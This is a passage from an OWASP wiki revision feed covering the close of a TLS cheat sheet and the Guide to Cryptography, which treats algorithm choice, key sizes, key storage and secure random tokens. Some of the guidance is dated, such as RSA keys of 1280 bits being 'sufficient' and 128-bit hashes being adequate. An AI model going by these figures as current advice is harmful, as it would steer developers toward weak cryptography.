As specified in the above guidance, if the certificate can not be validated for any reason then the connection between the client and server must be dropped. Any data exchanged over a connection where the certificate has not properly been validated could be exposed to unauthorized access or modification.&lt;br /&gt;
&lt;br /&gt;
== Additional Controls  ==&lt;br /&gt;
&lt;br /&gt;
=== Extended Validation Certificates  ===&lt;br /&gt;
&lt;br /&gt;
Extended validation certificates (EV Certificates) proffer an enhanced investigation by the issuer into the requesting party due to the industry's race to the bottom. The purpose of EV certificates is to provide the user with greater assurance that the owner of the certificate is a verified legal entity for the site. Browsers with support for EV certificates distinguish an EV certificate in a variety of ways. Internet Explorer will color a portion of the URL in green, while Mozilla will add a green portion to the left of the URL indicating the company name. &lt;br /&gt;
&lt;br /&gt;
High value websites should consider the use of EV certificates to enhance customer confidence in the certificate. It should also be noted that EV certificates do not provide any greater technical security for the TLS. The purpose of the EV certificate is to increase user confidence that the target site is indeed who it claims to be.&lt;br /&gt;
&lt;br /&gt;
=== Client-Side Certificates  ===&lt;br /&gt;
&lt;br /&gt;
Client side certificates can be used with TLS to prove the identity of the client to the server. Referred to as &amp;quot;two-way TLS&amp;quot;, this configuration requires the client to provide their certificate to the server, in addition to the server providing their's to the client. If client certificates are used, ensure that the same validation of the client certificate is performed by the server, as indicated for the validation of server certificates above. In addition, the server should be configured to drop the TLS connection if the client certificate cannot be verified or is not provided. &lt;br /&gt;
&lt;br /&gt;
The use of client side certificates is relatively rare currently due to the complexities of certificate generation, safe distribution, client side configuration, certificate revocation and reissuance, and the fact that clients can only authenticate on machines where their client side certificate is installed. Such certificates are typically used for very high value connections that have small user populations.&lt;br /&gt;
&lt;br /&gt;
=== Certificate and Public Key Pinning ===&lt;br /&gt;
&lt;br /&gt;
Hybrid and native applications can take advantage of [[Certificate_and_Public_Key_Pinning|certificate and public key pinning]]. Pinning associates a host (for example, server) with an identity (for example, certificate or public key), and allows an application to leverage knowledge of the pre-existing relationship. At runtime, the application would inspect the certificate or public key received after connecting to the server. If the certificate or public key is expected, then the application would proceed as normal. If unexpected, the application would stop using the channel and close the connection since an adversary could control the channel or server.&lt;br /&gt;
&lt;br /&gt;
Pinning still requires customary X509 checks, such as revocation, since CRLs and OCSP provides real time status information. Otherwise, an application could possibly (1) accept a known bad certificate; or (2) require an out-of-band update, which could result in a lengthy App Store approval.&lt;br /&gt;
&lt;br /&gt;
Browser based applications are at a disadvantage since most browsers do not allow the user to leverage pre-existing relationships and ''a priori'' knowledge. In addition, Javascript and Websockets do not expose methods to for a web app to query the underlying secure connection information (such as the certificate or public key). It is noteworthy that Chromium based browsers perform pinning on selected sites, but the list is currently maintained by the vendor.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Providing Transport Layer Protection for Back End and Other Connections  =&lt;br /&gt;
&lt;br /&gt;
Although not the focus of this cheat sheet, it should be stressed that transport layer protection is necessary for back-end connections and any other connection where sensitive data is exchanged or where user identity is established. Failure to implement an effective and robust transport layer security will expose sensitive data and undermine the effectiveness of any authentication or access control mechanism. &lt;br /&gt;
&lt;br /&gt;
== Secure Internal Network Fallacy  ==&lt;br /&gt;
&lt;br /&gt;
The internal network of a corporation is not immune to attacks. Many recent high profile intrusions, where thousands of sensitive customer records were compromised, have been perpetrated by attackers that have gained internal network access and then used sniffers to capture unencrypted data as it traversed the internal network.&lt;br /&gt;
&lt;br /&gt;
== Protocol and Cipher Configuration for Back End and Other Connections ==&lt;br /&gt;
It is important to provide TLS for server-to-server communication in addition to client-to-server communication. Secure the 'client side' configuration of your server that is used for backend and other connections according to [[#Server_Protocol_and_Cipher_Configuration | Server Protocol and Cipher Configuration]]. Be sure to deactivate insecure protocols and ciphers. (e.g. Only support a minimum strong configuration when your server acts as 'client').&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
=== local/offline ===&lt;br /&gt;
* [[O-Saft|O-Saft - OWASP SSL advanced forensic tool]]&lt;br /&gt;
* [http://sourceforge.net/projects/sslscan/ SSLScan - Fast SSL Scanner]&lt;br /&gt;
* [https://github.com/iSECPartners/sslyze SSLyze]&lt;br /&gt;
* [http://www.g-sec.lu/sslaudit/sslaudit.zip SSL Audit]&lt;br /&gt;
&lt;br /&gt;
=== Online ===&lt;br /&gt;
* [https://www.ssllabs.com/ssltest SSL LABS Server Test]&lt;br /&gt;
* [https://observatory.mozilla.org Observatory by Mozilla]&lt;br /&gt;
* [https://www.htbridge.com/ssl/ High-Tech Bridge online tool to verify SSL/TLS compliance with NIST SP 800-52 guidelines and PCI DSS requirements on any TCP port]&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
* Mozilla – [https://wiki.mozilla.org/Security/Server_Side_TLS#Recommended_configurations Mozilla Recommended Configurations]&lt;br /&gt;
* OWASP – [[Testing for SSL-TLS (OWASP-CM-001)|Testing for SSL-TLS]], and OWASP [[Guide to Cryptography]] &lt;br /&gt;
* OWASP – [http://www.owasp.org/index.php/ASVS Application Security Verification Standard (ASVS) – Communication Security Verification Requirements (V10)]&lt;br /&gt;
* OWASP – ASVS Article on [[Why you need to use a FIPS 140-2 validated cryptomodule]]&lt;br /&gt;
* SSL Labs – [https://www.ssllabs.com/projects/best-practices/index.html SSL/TLS Deployment Best Practices]&lt;br /&gt;
* SSL Labs – [http://www.ssllabs.com/projects/rating-guide/index.html SSL Server Rating Guide]&lt;br /&gt;
* ENISA – [http://www.enisa.europa.eu/activities/identity-and-trust/library/deliverables/algorithms-key-sizes-and-parameters-report Algorithms, Key Sizes and Parameters Report]&lt;br /&gt;
* BSI   – [https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR02102/BSI-TR-02102-2.pdf BSI TR-02102 Part 2 (German)]&lt;br /&gt;
* yaSSL – [http://www.yassl.com/yaSSL/Blog/Entries/2010/10/7_Differences_between_SSL_and_TLS_Protocol_Versions.html Differences between SSL and TLS Protocol Versions]&lt;br /&gt;
* NIST – [http://csrc.nist.gov/publications/PubsSPs.html#800-52 SP 800-52 Rev. 1 Guidelines for the Selection, Configuration, and Use of Transport Layer Security (TLS) Implementations]&lt;br /&gt;
* NIST – [http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf FIPS 140-2 Security Requirements for Cryptographic Modules]&lt;br /&gt;
* NIST – [http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/FIPS1402IG.pdf Implementation Guidance for FIPS PUB 140-2 and the Cryptographic Module Validation Program]&lt;br /&gt;
* NIST – [http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57_part1_rev3_general.pdf NIST SP 800-57 Recommendation for Key Management, Revision 3], [http://csrc.nist.gov/publications/PubsDrafts.html#SP-800-57-Part%203-Rev.1 Public DRAFT]&lt;br /&gt;
* NIST – [http://csrc.nist.gov/publications/drafts.html#sp800-95 SP 800-95 Guide to Secure Web Services] &lt;br /&gt;
* IETF – [https://tools.ietf.org/html/rfc5280 RFC 5280 Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile]&lt;br /&gt;
* IETF – [https://tools.ietf.org/html/rfc2246 RFC 2246 The Transport Layer Security (TLS) Protocol Version 1.0 (JAN 1999)]&lt;br /&gt;
* IETF – [https://tools.ietf.org/html/rfc4346 RFC 4346 The Transport Layer Security (TLS) Protocol Version 1.1 (APR 2006)]&lt;br /&gt;
* IETF – [https://tools.ietf.org/html/rfc5246 RFC 5246 The Transport Layer Security (TLS) Protocol Version 1.2 (AUG 2008)]&lt;br /&gt;
* IETF – [https://tools.ietf.org/html/rfc7525 RFC 7525 Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS)]&lt;br /&gt;
* bettercrypto – [https://bettercrypto.org Applied Crypto Hardening: HOWTO for secure crypto settings of the most common services (DRAFT)]&lt;br /&gt;
* PCI – [https://www.pcisecuritystandards.org/documents/Migrating-from-SSL-Early-TLS-Info-Supp-v1_1.pdf Migrating from SSL and Early TLS]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Torsten Gigler - torsten.gigler[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Michael Coates - michael.coates[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Tyler Reguly -treguly[at]sslfail.com &amp;lt;br/&amp;gt;&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets = &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Guide_to_Cryptography&amp;diff=241281</id>
		<title>Guide to Cryptography</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Guide_to_Cryptography&amp;diff=241281"/>
				<updated>2018-06-13T09:59:11Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Remove the use of 3DES and correct the keysize&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Objective ==&lt;br /&gt;
&lt;br /&gt;
To ensure that cryptography is safely used to protect the confidentiality and integrity of sensitive user data.&lt;br /&gt;
&lt;br /&gt;
==Platforms Affected ==&lt;br /&gt;
&lt;br /&gt;
All.&lt;br /&gt;
&lt;br /&gt;
==Relevant COBIT Topics ==&lt;br /&gt;
&lt;br /&gt;
DS5.18 – Cryptographic key management&lt;br /&gt;
&lt;br /&gt;
==Description ==&lt;br /&gt;
&lt;br /&gt;
Initially confined to the realms of academia and the military, cryptography has become ubiquitous thanks to the Internet. Common every day uses of cryptography include mobile phones, passwords, SSL, smart cards, and DVDs. Cryptography has permeated everyday life, and is heavily used by many web applications.&lt;br /&gt;
&lt;br /&gt;
Cryptography (or crypto) is one of the more advanced topics of information security, and one whose understanding requires the most schooling and experience. It is difficult to get right because there are many approaches to encryption, each with advantages and disadvantages that need to be thoroughly understood by web solution architects and developers.  In addition, serious cryptography research is typically based in advanced mathematics and number theory, providing a serious barrier to entry. &lt;br /&gt;
&lt;br /&gt;
The proper and accurate implementation of cryptography is extremely critical to its efficacy. A small mistake in configuration or coding will result in removing a large degree of the protection it affords and rending the crypto implementation useless against serious attacks.&lt;br /&gt;
&lt;br /&gt;
A good understanding of crypto is required to be able to discern between solid products and snake oil. The inherent complexity of crypto makes it easy to fall for fantastic claims from vendors about their product. Typically, these are “a breakthrough in cryptography” or “unbreakable” or provide &amp;quot;military grade&amp;quot; security. If a vendor says &amp;quot;trust us, we have had experts look at this,” chances are they weren't experts!&lt;br /&gt;
&lt;br /&gt;
==Cryptographic Functions ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic systems can provide one or more of the following four services. It is important to distinguish between these, as some algorithms are more suited to particular tasks, but not to others.&lt;br /&gt;
&lt;br /&gt;
When analyzing your requirements and risks, you need to decide which of these four functions should be used to protect your data.&lt;br /&gt;
&lt;br /&gt;
===Authentication ===&lt;br /&gt;
&lt;br /&gt;
Using a cryptographic system, we can establish the identity of a remote user (or system). A typical example is the SSL certificate of a web server providing proof to the user that he or she is connected to the correct server.&lt;br /&gt;
&lt;br /&gt;
The identity is not of the user, but of the cryptographic key of the user. Having a less secure key lowers the trust we can place on the identity.&lt;br /&gt;
&lt;br /&gt;
===Non-Repudiation ===&lt;br /&gt;
&lt;br /&gt;
The concept of non-repudiation is particularly important for financial or e-commerce applications. Often, cryptographic tools are required to prove that a unique user has made a transaction request. It must not be possible for the user to refute his or her actions.&lt;br /&gt;
&lt;br /&gt;
For example, a customer may request a transfer of money from her account to be paid to another account. Later, she claims never to have made the request and demands the money be refunded to the account. If we have non-repudiation through cryptography, we can prove – usually through digitally signing the transaction request, that the user authorized the transaction.&lt;br /&gt;
&lt;br /&gt;
===Confidentiality ===&lt;br /&gt;
&lt;br /&gt;
More commonly, the biggest concern will be to keep information private. Cryptographic systems were originally developed to function in this capacity. Whether it be passwords sent during a log on process, or storing confidential medical records in a database, encryption can assure that only users who have access to the appropriate key will get access to the data.&lt;br /&gt;
&lt;br /&gt;
===Integrity ===&lt;br /&gt;
&lt;br /&gt;
We can use cryptography to provide a means to ensure data is not viewed or altered during storage or transmission. Cryptographic hashes for example, can safeguard data by providing a secure checksum.&lt;br /&gt;
&lt;br /&gt;
==Cryptographic Algorithms ==&lt;br /&gt;
&lt;br /&gt;
Various types of cryptographic systems exist that have different strengths and weaknesses. Typically, they are divided into two classes; those that are strong, but slow to run and those that are quick, but less secure. Most often a combination of the two approaches is used (e.g.: SSL), whereby we establish the connection with a secure algorithm, and then if successful, encrypt the actual transmission with the weaker, but much faster algorithm.&lt;br /&gt;
&lt;br /&gt;
===Symmetric Cryptography ===&lt;br /&gt;
&lt;br /&gt;
Symmetric Cryptography is the most traditional form of cryptography.  In a symmetric cryptosystem, the involved parties share a common secret (password, pass phrase, or key). Data is encrypted and decrypted using the same key. These algorithms tend to be comparatively fast, but they cannot be used unless the involved parties have already exchanged keys.  Any party possessing a specific key can create encrypted messages using that key as well as decrypt any messages encrypted with the key.  In systems involving a number of users who each need to set up independent, secure communication channels symmetric cryptosystems can have practical limitations due to the requirement to securely distribute and manage large numbers of keys.&lt;br /&gt;
&lt;br /&gt;
Common examples of symmetric algorithms are DES, 3DES and AES. The 56-bit keys used in DES are short enough to be easily brute-forced by modern hardware and DES should no longer be used. Triple DES (or 3DES) uses the same  algorithm, applied three times with different keys giving it an effective key length of 112 bits (due to an attack that reduces the strength to the work that would be involved).  Due to the problems using the DES algorithm, the United States National Institute of Standards and Technology (NIST) hosted a selection process for a new algorithm.  The winning algorithm was Rijndael and the associated cryptosystem is now known as the Advanced Encryption Standard or AES. It is advisable to use AES, as DES is deprecated.&lt;br /&gt;
&lt;br /&gt;
===Asymmetric Cryptography (also called Public/Private Key Cryptography) ===&lt;br /&gt;
&lt;br /&gt;
Asymmetric algorithms use two keys, one to encrypt the data, and either key to decrypt. These inter-dependent keys are generated together. One is labeled the Public key and is distributed freely. The other is labeled the Private Key and must be kept hidden.&lt;br /&gt;
&lt;br /&gt;
Often referred to as Public/Private Key Cryptography, these cryptosystems can provide a number of different functions depending on how they are used. &lt;br /&gt;
&lt;br /&gt;
The most common usage of asymmetric cryptography is to send messages with a guarantee of confidentiality.  If User A wanted to send a message to User B, User A would get access to User B’s publicly-available Public Key.  The message is then encrypted with this key and sent to User B.  Because of the cryptosystem’s property that messages encoded with the Public Key of User B can only be decrypted with User B’s Private Key, only User B can read the message.&lt;br /&gt;
&lt;br /&gt;
Another usage scenario is one where User A wants to send User B a message and wants User B to have a guarantee that the message was sent by User A.  In order to accomplish this, User A would encrypt the message with their Private Key.  The message can then only be decrypted using User A’s Public Key.  This guarantees that User A created the message Because they are then only entity who had access to the Private Key required to create a message that can be decrcrypted by User A’s Public Key.  This is essentially a digital signature guaranteeing that the message was created by User A.&lt;br /&gt;
&lt;br /&gt;
A Certificate Authority (CA), whose public certificates are installed with browsers or otherwise commonly available, may also digitally sign public keys or certificates. We can authenticate remote systems or users via a mutual trust of an issuing CA. We trust their ‘root’ certificates, which in turn authenticate the public certificate presented by the server.&lt;br /&gt;
[[Category:FIXME|seems%20like%20there%20should%20be%20a%20noun%20after%20&amp;quot;avialable&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using RSA or other algorithms.&lt;br /&gt;
&lt;br /&gt;
===Hashes ===&lt;br /&gt;
&lt;br /&gt;
Hash functions take some data of an arbitrary length (and possibly a key or password) and generate a fixed-length hash based on this input. Hash functions used in cryptography have the property that it is easy to calculate the hash, but difficult or impossible to re-generate the original input if only the hash value is known.  In addition, hash functions useful for cryptography  have the property that it is difficult to craft an initial input such that the hash will match a specific desired value.&lt;br /&gt;
&lt;br /&gt;
MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New applications should consider using SHA-256 instead of these weaker algorithms.&lt;br /&gt;
&lt;br /&gt;
===Key Exchange Algorithms ===&lt;br /&gt;
&lt;br /&gt;
Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party. &lt;br /&gt;
&lt;br /&gt;
==Algorithm Selection ==&lt;br /&gt;
&lt;br /&gt;
As modern cryptography relies on being computationally expensive to break, specific standards can be set for key sizes that will provide assurance that with today’s technology and understanding, it will take too long to decrypt a message by attempting all possible keys.&lt;br /&gt;
&lt;br /&gt;
Therefore, we need to ensure that both the algorithm and the key size are taken into account when selecting an algorithm.&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Proprietary encryption algorithms are not to be trusted as they typically rely on ‘security through obscurity’ and not sound mathematics. These algorithms should be avoided if possible.&lt;br /&gt;
&lt;br /&gt;
Specific algorithms to avoid:&lt;br /&gt;
&lt;br /&gt;
* MD5 has recently been found less secure than previously thought. While still safe for most applications such as hashes for binaries made available publicly, secure applications should now be migrating away from this algorithm.&lt;br /&gt;
&lt;br /&gt;
* SHA-0 has been conclusively broken. It should no longer be used for any sensitive applications.&lt;br /&gt;
&lt;br /&gt;
* SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size.&lt;br /&gt;
&lt;br /&gt;
* DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.&lt;br /&gt;
&lt;br /&gt;
Cryptography is a constantly changing field. As new discoveries in cryptanalysis are made, older algorithms will be found unsafe. In addition, as computing power increases the feasibility of brute force attacks will render other cryptosystems or the use of certain key lengths unsafe. Standard bodies such as NIST should be monitored for future recommendations. &lt;br /&gt;
&lt;br /&gt;
Specific applications, such as banking transaction systems, may have specific requirements for algorithms and key sizes.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
Assuming you have chosen an open, standard algorithm, the following recommendations should be considered when reviewing algorithms:&lt;br /&gt;
&lt;br /&gt;
'''Symmetric:'''&lt;br /&gt;
&lt;br /&gt;
* Key sizes of 128 bits (standard for SSL) are sufficient for most applications&lt;br /&gt;
&lt;br /&gt;
* Consider 168 or 256 bits for secure systems such as large financial transactions&lt;br /&gt;
&lt;br /&gt;
* [https://paragonie.com/blog/2015/05/using-encryption-and-authentication-correctly Symmetric-key encryption protocols should include message authentication]&lt;br /&gt;
&lt;br /&gt;
* [http://www.thoughtcrime.org/blog/the-cryptographic-doom-principle/ Always Encrypt then MAC!]&lt;br /&gt;
&lt;br /&gt;
'''Asymmetric:'''&lt;br /&gt;
&lt;br /&gt;
The difficulty of cracking a 2048 bit key compared to a 1024 bit key is far, far, far, more than the twice you might expect. Don’t use excessive key sizes unless you know you need them. Bruce Schneier in 2002 (see the references section) recommended the following key lengths for circa 2005 threats:&lt;br /&gt;
&lt;br /&gt;
* Key sizes of 1280 bits are sufficient for most personal applications&lt;br /&gt;
&lt;br /&gt;
* 1536 bits should be acceptable today for most secure applications&lt;br /&gt;
&lt;br /&gt;
* 2048 bits should be considered for highly protected applications.&lt;br /&gt;
&lt;br /&gt;
'''Hashes:'''&lt;br /&gt;
&lt;br /&gt;
* Hash sizes of 128 bits (standard for SSL) are sufficient for most applications&lt;br /&gt;
&lt;br /&gt;
* Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).&lt;br /&gt;
&lt;br /&gt;
NIST and other standards bodies will provide up to date guidance on suggested key sizes.&lt;br /&gt;
&lt;br /&gt;
'''Design your application to cope with new hashes and algorithms'''&lt;br /&gt;
&lt;br /&gt;
==Key Storage ==&lt;br /&gt;
&lt;br /&gt;
As highlighted above, crypto relies on keys to assure a user’s identity, provide confidentiality and integrity as well as non-repudiation. It is vital that the keys are adequately protected. Should a key be compromised, it can no longer be trusted.&lt;br /&gt;
&lt;br /&gt;
Any system that has been compromised in any way should have all its cryptographic keys replaced. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Unless you are using hardware cryptographic devices, your keys will most likely be stored as binary files on the system providing the encryption. &lt;br /&gt;
&lt;br /&gt;
Can you export the private key or certificate from the store? &lt;br /&gt;
&lt;br /&gt;
* Are any private keys or certificate import files (usually in PKCS#12 format) on the file system? Can they be imported without a password?&lt;br /&gt;
&lt;br /&gt;
* Keys are often stored in code. This is a bad idea, as it means you will not be able to easily replace keys should they become compromised.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Cryptographic keys should be protected as much as is possible with file system permissions. They should be read only and only the application or user directly accessing them should have these rights.&lt;br /&gt;
&lt;br /&gt;
* Private keys should be marked as not exportable when generating the certificate signing request. &lt;br /&gt;
&lt;br /&gt;
* Once imported into the key store (CryptoAPI, Certificates snap-in, Java Key Store, etc.), the private certificate import file obtained from the certificate provider should be safely destroyed from front-end systems. This file should be safely stored in a safe until required (such as installing or replacing a new front end server).&lt;br /&gt;
&lt;br /&gt;
* Host based intrusion systems should be deployed to monitor access of keys. At the very least, changes in keys should be monitored.&lt;br /&gt;
&lt;br /&gt;
* Applications should log any changes to keys. &lt;br /&gt;
&lt;br /&gt;
* Pass phrases used to protect keys should be stored in physically secure places; in some environments, it may be necessary to split the pass phrase or password into two components such that two people will be required to authorize access to the key. These physical, manual processes should be tightly monitored and controlled.&lt;br /&gt;
&lt;br /&gt;
* Storage of keys within source code or binaries should be avoided. This not only has consequences if developers have access to source code, but key management will be almost impossible.&lt;br /&gt;
&lt;br /&gt;
* In a typical web environment, web servers themselves will need permission to access the key. This has obvious implications that other web processes or malicious code may also have access to the key. In these cases, it is vital to minimize the functionality of the system and application requiring access to the keys.&lt;br /&gt;
&lt;br /&gt;
* For interactive applications, a sufficient safeguard is to use a pass phrase or password to encrypt the key when stored on disk. This requires the user to supply a password on startup, but means the key can safely be stored in cases where other users may have greater file system privileges.&lt;br /&gt;
&lt;br /&gt;
Storage of keys in hardware crypto devices is beyond the scope of this document. If you require this level of security, you should really be consulting with crypto specialists.&lt;br /&gt;
&lt;br /&gt;
==Insecure transmission of secrets ==&lt;br /&gt;
&lt;br /&gt;
In security, we assess the level of trust we have in information. When applied to transmission of sensitive data, we need to ensure that encryption occurs before we transmit the data onto any untrusted network. &lt;br /&gt;
&lt;br /&gt;
In practical terms, this means we should aim to encrypt as close to the source of the data as possible.&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
This can be extremely difficult without expert help. We can try to at least eliminate the most common problems:&lt;br /&gt;
&lt;br /&gt;
* The encryption algorithm or protocol needs to be adequate to the task. The above discussion on weak algorithms and weak keys should be a good starting point.&lt;br /&gt;
&lt;br /&gt;
* We must ensure that through all paths of the transmission we apply this level of encryption.&lt;br /&gt;
&lt;br /&gt;
* Extreme care needs to be taken at the point of encryption and decryption. If your encryption library needs to use temporary files, are these adequately protected? &lt;br /&gt;
&lt;br /&gt;
* Are keys stored securely? Is an unsecured file left behind after it has been encrypted?&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
We have the possibility to encrypt or otherwise protect data at different levels. Choosing the right place for this to occur can involve looking at both security as well as resource requirements. &lt;br /&gt;
&lt;br /&gt;
'''Application''': at this level, the actual application performs the encryption or other crypto function. This is the most desirable, but can place additional strain on resources and create unmanageable complexity. Encryption would be performed typically through an API such as the OpenSSL toolkit (www.openssl.com) or operating system provided crypto functions.&lt;br /&gt;
&lt;br /&gt;
An example would be an S/MIME encrypted email, which is transmitted as encoded text within a standard email. No changes to intermediate email hosts are necessary to transmit the message because we do not require a change to the protocol itself.&lt;br /&gt;
&lt;br /&gt;
'''Protocol''': at this layer, the protocol provides the encryption service. Most commonly, this is seen in HTTPS, using SSL encryption to protect sensitive web traffic. The application no longer needs to implement secure connectivity. However, this does not mean the application has a free ride. SSL requires careful attention when used for mutual (client-side) authentication, as there are two different session keys, one for each direction. Each should be verified before transmitting sensitive data.&lt;br /&gt;
&lt;br /&gt;
Attackers and penetration testers love SSL to hide malicious requests (such as injection attacks for example). Content scanners are most likely unable to decode the SSL connection, letting it pass to the vulnerable web server.&lt;br /&gt;
&lt;br /&gt;
'''Network''': below the protocol layer, we can use technologies such as Virtual Private Networks (VPN) to protect data. This has many incarnations, the most popular being IPsec (Internet Protocol v6 Security), typically implemented as a protected ‘tunnel’ between two gateway routers. Neither the application nor the protocol needs to be crypto aware – all traffic is encrypted regardless.&lt;br /&gt;
&lt;br /&gt;
Possible issues at this level are computational and bandwidth overheads on network devices.&lt;br /&gt;
&lt;br /&gt;
==Reversible Authentication Tokens ==&lt;br /&gt;
&lt;br /&gt;
Today’s web servers typically deal with large numbers of users. Differentiating between them is often done through cookies or other session identifiers. If these session identifiers use a predictable sequence, an attacker need only generate a value in the sequence in order to present a seemingly valid session token.&lt;br /&gt;
&lt;br /&gt;
This can occur at a number of places; the network level for TCP sequence numbers, or right through to the application layer with cookies used as authenticating tokens.&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Any deterministic sequence generator is likely to be vulnerable.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
The only way to generate secure authentication tokens is to ensure there is no way to predict their sequence. In other words: true random numbers.&lt;br /&gt;
&lt;br /&gt;
It could be argued that computers can not generate true random numbers, but using new techniques such as reading mouse movements and key strokes to improve entropy has significantly increased the randomness of random number generators. It is critical that you do not try to implement this on your own; use of existing, proven implementations is highly desirable.&lt;br /&gt;
&lt;br /&gt;
Most operating systems include functions to generate random numbers that can be called from almost any programming language.&lt;br /&gt;
&lt;br /&gt;
'''Windows &amp;amp; .NET:''' On Microsoft platforms including .NET, it is recommended to use the inbuilt CryptGenRandom function (&amp;lt;u&amp;gt;http://msdn.microsoft.com/library/default.asp?url=/library/en-us/seccrypto/security/cryptgenrandom.asp&amp;lt;/u&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Unix:''' For all Unix based platforms, OpenSSL is an excellent option (&amp;lt;u&amp;gt;http://www.openssl.org/&amp;lt;/u&amp;gt;). It features tools and API functions to generate random numbers. On some platforms, /dev/urandom is a suitable source of pseudo-random entropy.&lt;br /&gt;
&lt;br /&gt;
'''PHP:'''  mt_rand() uses a Mersenne Twister, but is nowhere near as good as CryptoAPI’s secure random number generation options, OpenSSL, or /dev/urandom which is available on many Unix variants. mt_rand() has been noted to produce the same number on some platforms – test prior to deployment. '''Do not use rand() as it is very weak.'''&lt;br /&gt;
&lt;br /&gt;
'''Java:''' java.security.SecureRandom within the Java Cryptography Extension (JCE) provides secure random numbers. This should be used in preference to other random number generators.&lt;br /&gt;
&lt;br /&gt;
'''ColdFusion: '''ColdFusion MX 7 leverages the JCE java.security.SecureRandom class of the underlying JVM as its pseudo random number generator (PRNG)'''''.'' '''&lt;br /&gt;
&lt;br /&gt;
==Safe UUID generation ==&lt;br /&gt;
&lt;br /&gt;
UUIDs (such as GUIDs and so on) are only unique if you generate them. This seems relatively straightforward. However, there are many code snippets available that contain existing UUIDS. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
# Determine the source of your existing UUIDS &lt;br /&gt;
## Did they come from MSDN?&lt;br /&gt;
## Or from an example found on the Internet? &lt;br /&gt;
# Use your favorite search engine to find out&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Do not cut and paste UUIDs and GUIDs from anything other than the UUIDGEN program or from the UuidCreate() API&lt;br /&gt;
&lt;br /&gt;
* Generate fresh UUIDs or GUIDs for each new program &lt;br /&gt;
&lt;br /&gt;
==Summary ==&lt;br /&gt;
&lt;br /&gt;
Cryptography is one of pillars of information security. Its usage and propagation has exploded due to the Internet and it is now included in most areas computing. Crypto can be used for:&lt;br /&gt;
&lt;br /&gt;
* Remote access such as IPsec VPN&lt;br /&gt;
&lt;br /&gt;
* Certificate based authentication&lt;br /&gt;
&lt;br /&gt;
* Securing confidential or sensitive information&lt;br /&gt;
&lt;br /&gt;
* Obtaining non-repudiation using digital certificates&lt;br /&gt;
&lt;br /&gt;
* ?Online orders and payments&lt;br /&gt;
&lt;br /&gt;
* Email and messaging security such as S/MIME&lt;br /&gt;
&lt;br /&gt;
A web application can implement cryptography at multiple layers: application, application server or runtime (such as .NET), operating system and hardware. Selecting an optimal approach requires a good understanding of application requirements, the areas of risk, and the level of security strength it might require, flexibility, cost, etc.&lt;br /&gt;
&lt;br /&gt;
Although cryptography is not a panacea, the majority of security breaches do not come from brute force computation but from exploiting mistakes in implementation. The strength of a cryptographic system is measured in key length. Using a large key length and then storing the unprotected keys on the same server eliminates most of the protection benefit gained. Besides the secure storage of keys, another classic mistake is engineering custom cryptographic algorithms (to generate random session ids for example). Many web applications were successfully attacked because the developers thought they could create their crypto functions. &lt;br /&gt;
&lt;br /&gt;
Our recommendation is to use proven products, tools, or packages rather than rolling your own.&lt;br /&gt;
&lt;br /&gt;
==Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Wu, H., ''Misuse of stream ciphers in Word and Excel''&lt;br /&gt;
&lt;br /&gt;
